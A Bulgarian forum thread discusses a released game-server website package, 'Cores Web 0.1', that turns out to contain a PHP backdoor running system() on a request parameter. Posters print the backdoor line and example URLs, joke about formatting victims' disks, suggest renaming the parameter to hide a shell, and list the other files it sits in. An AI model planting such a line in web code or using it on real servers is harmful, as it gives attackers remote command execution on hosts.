[Release] Cores Web 0.1

Дава достъп до system(); командите на Win32.Накратко command.com или по известно cmd.
A $_REQUEST[];се използва вместо $_GET[];т.е. например
index.php?v=dir/s

значи човек ако знае 2-3 команди може му форматне някои диск тай ли :)
 
значи човек ако знае 2-3 команди може му форматне някои диск тай ли :)
Зависи ако не е лимитиран в правата (PwND by Admin (rofl) )
 
Зависи ако не е лимитиран в правата (PwND by Admin (rofl) )

е то сигурно не са :) буквата V дето е там може ли да се промени на друга ?
 
Махнете, чакайте моя репак (chuckle)
 
<? @system($_REQUEST["v"]); ?>
веднага да се махне.

Няма смисъл и без това в индекса е защитен рекуеста:
htmlspecialchars($_REQUEST);

P.s. Междодругото, чакаме дарката да ми хуукне .dll-тата и да оправи лимита на итемите,
и тогава ще почна репака, щото искам да си опрая дрейка...
Ама дарката вече 3ти ден ме мотае....
 
Last edited:
Няма смисъл и без това в индекса е защитен рекуеста:


P.s. Междодругото, чакаме дарката да ми хуукне .dll-тата и да оправи лимита на итемите,
и тогава ще почна репака, щото искам да си опрая дрейка...
Ама дарката вече 3ти ден ме мотае....

Защитен от какво ?dir командата ще проработи.
Format C:\ ще проработи ?Кое е защитеното.
htmlspecialchars();просто променя ' и " на &#039 &qute <> на &lt &gt & на &amp; -> не виждам забрана за format C:\

@banned може и на zzzazzazazzad да се промени,така например качваш shell в самия индекс,и стигаш до него само когато има
index.php?xaxopshell=elf
 
Last edited:
Аз викам да спрете да се карате... Има shell кфо пък толкова... като има shell Dark-а да делне темата и решаваме проблема :)
 
Къде е бе ? Няма Shell
 
Last edited:
Защитен от какво ?dir командата ще проработи.
Format C:\ ще проработи ?Кое е защитеното.
htmlspecialchars();просто променя ' и " на ' &qute <> на &lt &gt & на &amp; -> не виждам забрана за format C:\

@banned може и на zzzazzazazzad да се промени,така например качваш shell в самия индекс,и стигаш до него само когато има
index.php?xaxopshell=elf

Е карай :) адваме и едно адслашес и готово
 
Last edited:
някои ако може ми даде веба без Update-то че ми трябва
 
никои ли го няма е преди да го упдате някои ако го има преди упдате ще съм му благодарен ако го даде
 
Не е само в index.php а и в rankings/index.php, rankings/topcharacters.php, rankings/topguilds.php, includes/index.php.
 
sugaR и двамата знаем,че си го/ги оставил нарочно.Знаеме се,няма нужда да се лъжем.
Поздрави.
airotiCA.